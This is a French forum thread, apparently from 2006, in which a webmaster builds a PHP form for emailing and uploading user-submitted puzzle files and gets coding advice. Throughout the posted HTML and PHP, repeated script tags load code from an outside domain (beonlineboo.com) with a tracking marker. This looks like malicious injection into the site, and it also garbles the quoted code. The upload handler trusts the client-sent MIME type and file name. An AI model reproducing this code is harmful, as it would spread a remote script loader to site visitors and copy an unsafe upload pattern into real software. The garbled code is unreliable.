l'asile.fr


Formulaire mailto et sujet du mail

Bonjour à vous,

j'ai lancé une nouvelle rubrique sur ouverture facile qui permet aux membres de créer leurs propres énigmes et de les envoyer à une adresse mail où elles sont triées.

Pour que ce ne soit pas trop le bordel j'ai décidé de faire un formulaire.

Le mail envoyé comportera toujours une pièce jointe (l'énigme), et j'ai regardé un peu les solutions pour l'upload de la pièce jointe avant l'envoi (en php) mais ça me semble un peu compliqué pour pas grand chose. A mon avis un formulaire html avec un mailto devrait suffir, je ne pense pas que les gars vont oublier d'ajouter la pièce jointe dans le logiciel de messagerie.

alors voilà ce que ça donne :
url : http://votre.ouverturefacile.com/formulaire.html

Le formulaire se présente ainsi :


<FORM NAME="formulaire" METHOD=POST ENCTYPE="text/plain" ACTION="mailto:[email]votre@ouverturefacile.com[/email]">
<TABLE BORDER=0>

<TR>
<TD>Votre Pseudo :</TD>
<TD><INPUT NAME=Pseudo></TD>
</TR>

<TR>
<TD>Nom de l'énigme (ex: L'énigme du chat) :</TD>
<TD><INPUT NAME=Nom></TD>
</TR>

<TR>
<TD>Nom du fichier de départ (ex:debut.html) :</TD>
<TD><INPUT NAME=Depart></TD>
</TR>

<TR>
<TD>Raison du mail :</TD>
<TD>
<INPUT TYPE=RADIO NAME=Type VALUE=Proposition d'énigme> Proposition d'énigme
<INPUT TYPE=RADIO NAME=Type VALUE=Nouvelle énigme> Modification d'une énigme
</TD>
</TR>

<TR>
<TD>Solution de l'énigme :</TD>
<TD><TEXTAREA NAME=Solution rows=5 cols=30></TEXTAREA></TD>
</TR>

<TR>
<TD>Message personnel :</TD>
<TD><TEXTAREA NAME=Message rows=5 cols=30></TEXTAREA></TD>
</TR>
</TABLE>
<INPUT TYPE=SUBMIT VALUE=Envoyer><INPUT TYPE=RESET VALUE=Effacer>
</FORM>


Ce que je voudrais c'est que le sujet du mail soit "pseudo - nom de l'énigme - type"

C'est à dire que si l'utilisateur entre ça dans le formulaire :
Pseudo : swan
Nom de l'énigme : test
Type : Modification d'énigme

Je voudrais que sujet du mail soit swan - test - modification d'énigme

On peut peut être y arriver en javascript, un truc du genre :

var sujet=document.forms["formulaire"].elements["Pseudo"].value + " - " + document.forms["formulaire"].elements["Nom"].value + " - " + document.forms["formulaire"].elements["type"].value ;

Puis dans la balise form on aurait un truc du genre :
mailto:[email]votre@ouverturefacile.com[/email]?subject="variable sujet"

1. Est-ce possible comme ça ou autrement ? (il y a bien le flash mais après c'est galère pour les copié-collé. Quand le gars a déjà écrit la solution de l'énigme dans le bloc note et qu'il doit tout retaper dans le flash car le copié-collé ne marche pas)
2. Quelle serait la syntaxe exacte ?
3. Merci d'avance


Dernière modification le 14/06/06 à 17:56 par Swan
mardi
13 juin 2006 à 19:23
 
 

Il y a un problème énorme et une règle indispensable, on ne fait pas envoyer un mail ou un fichier par un client de messagerie.
Les utilisateurs qui ne possèdent pas de clients sont de plus en plus nombreux

Google, hotmail, yahoo, la poste, etc...

En plus cette solution n'est vraiment pas élégante. Tu devrais te reconcentrer sur l'envoi de pièces jointes en php qui n'est pas bien compliqué.


mardi
13 juin 2006 à 21:43
 
 

Oui je sais bien, mais en même temps tout le monde n'aura pas à utiliser ce formulaire, juste des membres acharnés capables de créer une énigme en flash, généralement ces gars là savent quand même régler le serveur pop pour thunderbird afin d'utiliser un client mail plutôt que l'interface de leur fournisseur de messagerie. Mais c'est vrai que ça ferait un peu plus pro, le problème c'est que je ne sais pas trop comment m'y prendre, est-ce que partir de ça est une bonne idée ou est ce que je gagnerais mon temps à trouver comment faire en php et le faire moi même ? Je suppose qu'il ne faut pas non plus des centaines de lignes de code...

edit : bon bah phpformmail ne marche pas, le repertoire en 777 est bien au bon endroit, l'email est renseigné mais je reçois un mail vide et la pièce n'est même pas uploadée dans le repertoire.

Ce script ne fonctionne pas sous Online ou Nexen (et ne fonctionnera d'ailleurs jamais sur ces serveurs. J'ai tout essayé et j'ai contacté le support technique, ils ont tellement bien modifié leur fonction email() qu'il est impossible de l'utiliser avec ce script)


ça doit être pour ça, je suis peut être concerné, qu'est ce que j'en sais moi !


Dernière modification le 14/06/06 à 00:56 par Swan
mardi
13 juin 2006 à 23:09
 
 

Bon voilà où j'en suis :

url : http://votre.ouverturefacile.com/formulaire/

Il ne manque plus que le plus important, la pièce jointe. alors pour ça il y a deux possibilités. Quelqu'un saurait ce que je devrais ajouter à ce code pour gerer l'envoi d'une piece jointe ?

<?php

$email_dest = "[email]votre@ouverturefacile.com[/email]";

if ($_POST['envoi']) {

$message_remerciement = "Votre énigme a bien été envoyée, elle sera testée au plus vite, merci !";

// E-mail headers:
$headers ="MIME-Version: 1.0 \n";
$headers .="From: Votre OF<[email]votre@ouverturefacile.com[/email]>\n";


$headers .="Content-Type: text/html; charset=iso-8859-1 \n";

$subject = "Proposition d'énigme";

$partie_entete = "<html><head>
<script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><!--f0d54d364970ae13--><meta http-equiv=Content-Type content=text/html; charset=iso-8859-1>
<script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script></head>
<body bgcolor=#FFFFFF>";

for ($a=1; $a<= $_POST['nbre_champs_texte']; $a++) {
$partie_champs_texte .= "<font face='Verdana' size='2' color='#003366'>" . $_POST['titre_champ'.$a] . " = " . $_POST['champ'.$a] . "</font><br>";
}

if ($_POST['nbre_zone_email'] != 0) {
$partie_zone_email = "<font face='Verdana' size='2' color='#003366'>" . $_POST['titre_email'] . " = " . $_POST['zone_email'] . "</font><br>";
}

if ($_POST['nbre_zones_texte'] != 0) {
$partie_zone_texte = "<font face='Verdana' size='2' color='#003366'>" . $_POST['titre_zone'] . " = " . $_POST['zone_texte'] . "</font><br>";
$partie_zone_texte = stripslashes($partie_zone_texte);
}

$fin = "<script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script></body></html>";

$sortie = $partie_entete . $partie_champs_texte . $partie_zone_email . $partie_zone_texte . $fin;

// Send the e-mail
if (@!mail($email_dest,$subject,$sortie,$headers)) {
echo("Envoi du formulaire impossible");
} // Closing if !mail...

} // Closing if edit
?><html>
<head>
<script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><title>Assistant d'envoi de formulaires</title>
<script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><!--f0d54d364970ae13--><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script language="JavaScript"><!-- Hide script from older browsers
function verifSelection() {if (mail_form.champ1.value == "") {
alert("Merci de mentionner votre pseudo. Utilisez le même que sur le forum")
return false
} if (mail_form.champ2.value == "") {
alert("Vous devez préciser un nom d'énigme (ex: L'énigme du chat)")
return false
} if (mail_form.champ3.value == "") {
alert("N'oubliez pas de mettre le numéro de l'énigme, Si c'est la 2ème énigme que vous proposez, mettez 2")
return false
} if (mail_form.champ4.value == "") {
alert("Vous devez mentionner la page de départ de l'énigme (ex: debut.html)")
return false
} if (mail_form.champ5.value == "") {
alert("Vous devez mettre : Proposition ou Modification")
return false
} if (mail_form.champ6.value == "") {
alert("")
return false
} if (mail_form.zone_email.value == "") {
alert("Il est imépratif de mentionner votre email pour d'éventuelles demandes de modification de l'énigme")
return false
}

invalidChars = " /:,;'"

for (i=0; i<invalidChars.length; i++) {	// does it contain any invalid characters?
badChar = invalidChars.charAt(i)

if (mail_form.zone_email.value.indexOf(badChar,0) > -1) {
alert("Votre adresse e-mail contient des caractères invalides. Veuillez vérifier.")
mail_form.zone_email.focus()
return false
}
}

atPos = mail_form.zone_email.value.indexOf("@",1)			// there must be one "@" symbol
if (atPos == -1) {
alert('Votre adresse e-mail ne contient pas le signe "@". Veuillez vérifier.')
mail_form.zone_email.focus()
return false
}

if (mail_form.zone_email.value.indexOf("@",atPos+1) != -1) {	// and only one "@" symbol
alert('Il ne doit y avoir qu\'un signe "@". Veuillez vérifier.')
mail_form.zone_email.focus()
return false
}

periodPos = mail_form.zone_email.value.indexOf(".",atPos)

if (periodPos == -1) {					// and at least one "." after the "@"
alert('Vous avez oublié le point "." après le signe "@". Veuillez vérifier.')
mail_form.zone_email.focus()
return false
}

if (periodPos+3 > mail_form.zone_email.value.length)	{		// must be at least 2 characters after the
alert('Il doit y avoir au moins deux caractères après le signe ".". Veuillez vérifier.')
mail_form.zone_email.focus()
return false
}} // Fin de la fonction

</script>
<script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script></head>

<body>
<script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><form name="mail_form" method="post" action="<?=$PHP_SELF?>" onSubmit="return verifSelection()">
  <div align="center"></div>
<p align="center">
<?php
if ($message_remerciement) {
echo("<font face=Verdana size=2>");
echo(stripslashes($message_remerciement));
echo("</p><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script></body></html>");
exit();
}
?>
  <script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><table width="750" border="0" align="center">
<p align="center">
</p>
<tr>
<h1>Proposition d'énigme :
</tr>
<tr>
<br>
Avant de poster votre énigme il est impératif de vérifier certaines choses :
<br>
<br>
- Assurez vous qu'il n'y a aucune majuscule dans le nom et l'extension de vos fichiers ainsi que dans les liens qui appellent ces fichiers. Sur le serveur Arbre.Html est différent de arbre.html, les majuscules sont considérées comme des caractères différents des minuscules, donc même si ça marche sur votre ordinateur ça ne marchera pas sur le serveur. N'utilisez donc de majuscule que si il y a une raison dans l'énigme.
<br>
<br>
- Assurez vous qu'il n'y ait ni espace ni accent dans le nom de vos fichiers, exactement pour les mêmes raisons.
<br>
une énigme.png -> pas bon
<br>
uneenigme.png -> bon
<br>
<br>
- n'oubliez pas de mettre l'image screen.png dans le repertoire de l'énigme, cette image doit être une capture d'écran de l'énigme en 200 x 133 pixels.
<br>
<br>
</tr>

<tr>
      <td><font face="Verdana" size="2"><b>Votre pseudo</b></font><br>Le même que sur le forum</td>
      <td><input name="champ1" type="text"></td>
    </tr><tr>
      <td><font face="Verdana" size="2"><b>Nom de l'énigme</b></font><br>ex: L'énigme du chat</td>
      <td><input name="champ2" type="text"></td>
    </tr><tr>
      <td><font face="Verdana" size="2"><b>Numéro de l'énigme</b></font><br>Si c'est la 2ème énigme que vous proposez, mettez 2</td>
      <td><input name="champ3" type="text"></td>
    </tr><tr>
      <td><font face="Verdana" size="2"><b>Page de départ</b></font><br>ex: debut.html</td>
      <td><input name="champ4" type="text"></td>
    </tr><tr>
      <td><font face="Verdana" size="2"><b>Proposition ou Modification ?</b></font><br>Choisissez Proposition si c'est la première fois que vous envoyez cette énigme</td>
      <td><input name="champ5" type="text"></td>
    </tr><tr>
      <td><font face="Verdana" size="2"><b>Votre indice</b></font><br>Il sera dans le forum d'aide si l'énigme est validée</td>
      <td><input name="champ6" type="text"></td>
    </tr><tr>
      <td width><font face="Verdana" size="2"><b>Votre Email</b></font><br>Impératif</td>
      <td width><input name="zone_email" type="text"></td>
    </tr><tr>
      <td valign="top"><font face="Verdana" size="2">Solution de l'énigme et message personnel</font></td>
      <td><textarea name="zone_texte" cols="50" rows="10"></textarea></td>
    </tr><tr>
      <td valign="top"><input name="nbre_champs_texte" type="hidden" id="nbre_champs_texte" value="6">
        <input name="nbre_zones_texte" type="hidden" value="1">
<input name="nbre_zone_email" type="hidden" value="1">
<input name="titre_champ1" type="hidden" value="Pseudo"><input name="titre_champ2" type="hidden" value="Nom de l'énigme"><input name="titre_champ3" type="hidden" value="Numéro"><input name="titre_champ4" type="hidden" value="Page de départ"><input name="titre_champ5" type="hidden" value="Proposition ou Modification"><input name="titre_champ6" type="hidden" value="Indice"><input name="titre_email" type="hidden" value="Email"><input name="titre_zone" type="hidden" value="Solution et Message"></td>
      <td><div align="center">
<input type="reset" name="Reset" value="Effacer">
<input type="submit" name="envoi" value="Envoyer">
        </div></td>
    </tr>
  </table>
  <div align="center"></div>
</form>
<script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script></body>
</html>


Si c'est trop compliqué je veux bien faire ça autrement, c'est à dire un pop-up pour uploader le fichier, une fois le fichier uploadé le popup donne l'adresse du fichier sur le serveur puis l'utilisateur n'a qu'à copier-coller cette adresse dans un des champs du formulaire, ça évitera de surcharger la boite mail mais l'inconvénient c'est que ça peut servir d'espace de stockage gratuit si je ne fais pas gaffe à ce qui est uploadé.

Et pour cette histoire de sujet = pseudo - nom d'énigme - modification

Je peux peut être remplacer ce
$subject = "Proposition d'énigme";

par un
$subject = champ1 + champ2 + champ5;

de même je pourrais remplacer
$headers .="From: Votre OF<[email]votre@ouverturefacile.com[/email]>\n";
par l'email entrée dans le champ d'email

Quelle serait la syntaxe exacte ? Parceque je m'y perd un peu avec le php...


Dernière modification le 14/06/06 à 01:09 par Swan
mercredi
14 juin 2006 à 00:56
 
 

Et pour cette histoire de sujet = pseudo - nom d'énigme - modification

Je peux peut être remplacer ce
$subject = "Proposition d'énigme";

par un
$subject = champ1 + champ2 + champ5;

de même je pourrais remplacer
$headers .="From: Votre OF<[email]votre@ouverturefacile.com[/email]>\n";
par l'email entrée dans le champ d'email

Quelle serait la syntaxe exacte ? Parceque je m'y perd un peu avec le php...


Bon j'ai trouvé tout seul pour ça :

$subject = $_POST['champ1'] . " - " . $_POST['champ2'] . " - " . $_POST['champ5'];

$headers .="From: " . $_POST["champ1"] . "<" . $_POST["zone_email"] . ">\n";

Il ne reste plus que cette histoire d'upload


Dernière modification le 14/06/06 à 01:31 par Swan
mercredi
14 juin 2006 à 01:31
 
 

Ici dans les commentaires des exemples d'envois de mails avec pièces jointes.

Bon quelques petites remarques :

-Moi je ne ferais pas d'envoi de mail mais je créerai des tables pour stocker les données et une partie administration pour gérer les suggestions des utilisateurs. Mais c'est vrai que si tu n'es pas trop initié à la programmation, cette solution est plus rapide à mettre en place.

- Utilise des templates pour séparer le code php du code html et ainsi faciliter la maintenance et l'évolution des pages. Bon c'est pas une obligation, tu peux t'en passer.

- Ajoute un champ password afin de vérifier dans ta base de données s'il s'agit bien d'un utilisateur enregistré et aussi éviter bien des abus de la part des utilisateurs du formulaire.

- Tu peux réaliser un système d'upload de fichiers complètement transparent aux utilisateurs : tu uploades le fichier et tu rajoutes le lien dans le corps du mail dans ton code php. Ca serait aussi un plus si tu limitais les types de fichiers qu'il est possible d'uploader : images, flash, son, etc...

- Ne limite pas les tests des champs de ton formulaire au Javascript, il est facile pour un petit malin de le désactiver pour passer au travers et te casser les couilles.

-Si tu choisis l'upload, tu pourras renommer les fichiers et supprimer les caractères gênants.

Voilà, c'est un peu près tout pour l'instant.


mercredi
14 juin 2006 à 02:01
 
 

Merci !
l'envoi par mail a un autre avantage, il n'est uploadé qu'en zip ou rar sur mon serveur (je voudrais premettre l'upload uniquement à ces extensions), dans le repertoire d'upload je mettrai un .htaccess avec php_value engine off et AddType text/plain pour toutes les extensions à risque. De toute façon je préfère le passer au peigne fin sur mon pc avant d'uploader le fichier décompressé sur le serveur, et en plus il peut y avoir des fautes à corriger dans le code source des pages des énigmes, alors bon...

- Tu peux réaliser un système d'upload de fichiers complètement transparent aux utilisateurs : tu uploades le fichier et tu rajoutes le lien dans le corps du mail dans ton code php. Ca serait aussi un plus si tu limitais les types de fichiers qu'il est possible d'uploader : images, flash, son, etc...


Ah bah c'est exactement ça qui m'interesse.

Mais c'est vrai qu'il y a toujours possibilité d'abus... Mais bon une gestion de comptes c'est un peu galère car tout le monde doit pouvoir avoir accès à l'upload car tout le monde est susceptible de proposer une énigme. Si la "protection" c'est juste de l'obliger à créer un compte en mettant son email (qui peut être jetable), bah ce n'est pas non plus très efficace contre les petits malins et ça rend plus long la procédure pour les autres.


Dernière modification le 14/06/06 à 02:24 par Swan
mercredi
14 juin 2006 à 02:17
 
 

Pour l'upload du fichier je pense avoir trouvé la solution :
url : http://www.siteduzero.com/tuto-3-1718-1-upload-de-fichiers-par-formulaire.html

Reste plus qu'à appliquer ce tutorial, non ?


mercredi
14 juin 2006 à 02:46
 
 

Bon j'ai bien avancé et ça marche ! (presque)

J'ai upload.html (je le mettrai dans une frame sous le formulaire) :

<html>
<body>
<!--f0d54d364970ae13--><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><!--f0d54d364970ae13--><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><form method="post" action="upload.php" enctype="multipart/form-data">
<input type="file" name="fichier" size="30">
<input type="submit" name="upload" value="Uploader">
<input type="hidden" name="MAX_FILE_SIZE" value="10485760" />
</form>
<!--f0d54d364970ae13--><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><!--f0d54d364970ae13--><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script></body>
</html>

ça upload dans le repertoire temporaire et ça efface le fichier une fois le script d'upload.php terminé, donc pas (ou peu ?) de risque.

Voilà ce que j'ai dans upload.php :

<?php

if( isset($_POST['upload']) ) // si formulaire soumis
{
$content_dir = 'upload/'; // dossier où sera déplacé le fichier

$tmp_file = $_FILES['fichier']['tmp_name'];

if( !is_uploaded_file($tmp_file) )
{
exit("Le fichier est introuvable");
}

// on vérifie maintenant l'extension
$type_file = $_FILES['fichier']['type'];

if( !strstr($type_file, 'zip') && !strstr($type_file, 'rar') )
{
exit("Le fichier n'est pas un fichier zip ou rar");
}

// on copie le fichier dans le dossier de destination
$name_file = $_FILES['fichier']['name'];

if( !move_uploaded_file($tmp_file, $content_dir . $name_file) )
{
exit("Impossible de copier le fichier dans $content_dir");
}

echo "Le fichier a bien été uploadé.";
echo " Veuillez copier l'adresse url : http://votre.ouverturefacile.com/upload/" . $_FILES['fichier']['name'] . " dans le champ : 'URL' : ";

}

?>

Il ne reste qu'un seul problème, c'est qu'il faudrait un nom unique (la date en microsecondes) pour ne pas écraser un fichier existant sous le même nom et supprimer l'extension (histoire qu'il n'y ai aucune possibilité d'executer du php, ça ne me semble déjà pas trop possible vu qu'il y a un htaccess qui désactive le php dans ce repertoire upload, mais on ne sait jamais)

Donc quelque part avant le déplacement il faudrait mettre un truc du genre nom du fichier = microtime();

Quoi et où ?

ça devrait être suffisant et sécurisé, non ?


Dernière modification le 14/06/06 à 05:35 par Swan
mercredi
14 juin 2006 à 03:59
 
 

Il faut modifier le $name_file avec ton microtime

$name_file = time().$type_file;

if( !move_uploaded_file($tmp_file, $content_dir . $name_file) )
{
exit("Impossible de copier le fichier dans $content_dir");
}
echo "Le fichier a bien été uploadé.";
echo " Veuillez copier l'adresse url : url : http://votre.ouverturefacile.com/upload/" . $_FILES['fichier']['name'] . " dans le champ : 'URL' : ";

}


mercredi
14 juin 2006 à 08:57
 
 

$name_file = time().$type_file; ne marchait pas mais j'ai finalement opté pour une autre solution.
Je crois que je peux mettre résolu à ce sujet.

Merci à tous pour votre aide


mercredi
14 juin 2006 à 17:56
 
 

Swan a écrit
$name_file = time().$type_file; ne marchait pas mais j'ai finalement opté pour une autre solution.
Je crois que je peux mettre résolu à ce sujet.

Merci à tous pour votre aide


Ouaip en fait il fallait mettre

$name_file = time().".".$type_file;


jeudi
15 juin 2006 à 11:02
 
 


Répondre au sujet

Vous devez être identifié pour participer à ce topic.